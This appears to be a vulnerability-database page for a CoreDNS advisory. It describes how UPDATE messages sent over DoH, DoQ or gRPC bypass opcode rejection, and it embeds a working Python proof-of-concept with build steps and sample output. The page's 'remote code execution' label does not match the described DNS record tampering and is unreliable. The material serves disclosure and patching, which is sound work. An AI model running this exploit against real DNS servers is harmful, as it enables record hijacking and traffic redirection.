CVE-2026-86003: Github.com/coredns/coredns Remote Code Execution Vulnerability
HIGHCVE-2026-86003 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting Github.com/coredns/coredns libraries in the Go ecosystem. The issue involves coredns doh/doq/grpc bypass update rejection enforced on udp/tcp. Remediation is available by upgrading affected packages to version 1.14.7.
CVE-2026-86003 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-86003
To remediate this vulnerability, upgrade all affected Github.com/coredns/coredns dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/coredns/coredns to 1.14.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/coredns/coredns
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-86003, inspect your project dependencies for Github.com/coredns/coredns:
inspect dependencies for github.com/coredns/coredns
Analyze the terminal output to locate any version of Github.com/coredns/coredns in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.14.7), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In Github.com/coredns/coredns, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-86003 Affected Github.com/coredns/coredns Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/coredns/coredns
|
Go |
< 1.14.7
|
1.14.7
|
References
Frequently Asked Questions
What is CVE-2026-86003?
Which Github.com/coredns/coredns versions are affected?
What version fixes CVE-2026-86003?
Is github.com/coredns/coredns affected?
What is the CVSS score of CVE-2026-86003?
What CWE is associated with CVE-2026-86003?
How can I check Go dependencies for CVE-2026-86003?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9gm5-9rfh-m6vx",
"modified" : "2026-09-17T20:33:06Z",
"published" : "2026-09-17T20:33:05Z",
"aliases" : [ "CVE-2026-86003" ],
"summary" : "CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP",
"details" : "### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n bind 127.0.0.1\n tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n update = (\n encode_name(\"foo.example.com.\")\n + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n + socket.inet_aton(\"192.0.2.123\")\n )\n header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)\n return header + zone + update\n\n\ndef read_name(message, offset):\n labels = []\n end = None\n seen = set()\n while True:\n if offset >= len(message) or offset in seen:\n raise ValueError(\"invalid DNS name\")\n seen.add(offset)\n length = message[offset]\n if length & 0xC0 == 0xC0:\n if offset + 1 >= len(message):\n raise ValueError(\"truncated compression pointer\")\n if end is None:\n end = offset + 2\n offset = ((length & 0x3F) << 8) | message[offset + 1]\n continue\n offset += 1\n if length == 0:\n return \".\".join(labels) + \".\", end if end is not None else offset\n if length & 0xC0 or offset + length > len(message):\n raise ValueError(\"invalid DNS label\")\n labels.append(message[offset : offset + length].decode(\"ascii\"))\n offset += length\n\n\ndef question_end(message, count):\n offset = 12\n for _ in range(count):\n _, offset = read_name(message, offset)\n offset += 4\n if offset > len(message):\n raise ValueError(\"truncated question\")\n return offset\n\n\ndef parse_update(message):\n _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:\n return None\n offset = question_end(message, qdcount)\n name, offset = read_name(message, offset)\n rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n offset += 10\n rdata = message[offset : offset + rdlength]\n if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n return None\n return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n end = question_end(message, qdcount)\n response_flags = flags | 0x8000\n return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n try:\n update = parse_update(message)\n response = response_for(message)\n except (ValueError, struct.error):\n return None\n if update is not None:\n received.put((peer, update))\n return response\n\n\ndef serve_udp(sock, received, stopped):\n while not stopped.is_set():\n try:\n message, peer = sock.recvfrom(65535)\n except socket.timeout:\n continue\n except OSError:\n return\n response = handle_message(message, peer, received)\n if response is not None:\n sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n data = bytearray()\n while len(data) < size and not stopped.is_set():\n try:\n chunk = connection.recv(size - len(data))\n except socket.timeout:\n continue\n if not chunk:\n return None\n data.extend(chunk)\n return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n while not stopped.is_set():\n try:\n connection, peer = sock.accept()\n except socket.timeout:\n continue\n except OSError:\n return\n with connection:\n connection.settimeout(0.1)\n while not stopped.is_set():\n length = recv_exact(connection, 2, stopped)\n if length is None:\n break\n message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n if message is None:\n break\n response = handle_message(message, peer, received)\n if response is not None:\n connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n context = ssl._create_unverified_context()\n connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n try:\n connection.request(\n \"POST\",\n \"/dns-query\",\n body=payload,\n headers={\"Content-Type\": \"application/dns-message\"},\n )\n response = connection.getresponse()\n body = response.read()\n return response.status, len(body)\n finally:\n connection.close()\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8053)\n parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n parser.add_argument(\"--upstream-port\", type=int, default=15354)\n parser.add_argument(\"--timeout\", type=float, default=2.0)\n parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n args = parser.parse_args()\n\n received = queue.Queue()\n stopped = threading.Event()\n udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n udp_sock.settimeout(0.1)\n udp_sock.bind((args.upstream_host, args.upstream_port))\n tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n tcp_sock.settimeout(0.1)\n tcp_sock.bind((args.upstream_host, args.upstream_port))\n tcp_sock.listen()\n threads = [\n threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n ]\n for thread in threads:\n thread.start()\n\n payload = update_message()\n try:\n status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n try:\n peer, update = received.get(timeout=args.timeout)\n except queue.Empty:\n peer = update = None\n finally:\n stopped.set()\n udp_sock.close()\n tcp_sock.close()\n for thread in threads:\n thread.join(timeout=1)\n\n print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n if update is None:\n result = \"blocked\"\n print(\"upstream_received_update=false\")\n else:\n result = \"forwarded\"\n name, ttl, address = update\n print(\"upstream_received_update=true source=%s:%d\" % peer)\n print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n print(\"result=%s\" % result)\n\n if args.expect != \"either\" and args.expect != result:\n raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/coredns/coredns"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.14.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.14.6"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-86003"
}, {
"type" : "WEB",
"url" : "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/coredns/coredns"
}, {
"type" : "WEB",
"url" : "https://github.com/coredns/coredns/releases/tag/v1.14.7"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-441" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-17T20:33:05Z",
"nvd_published_at" : "2026-09-16T19:17:51Z"
}
}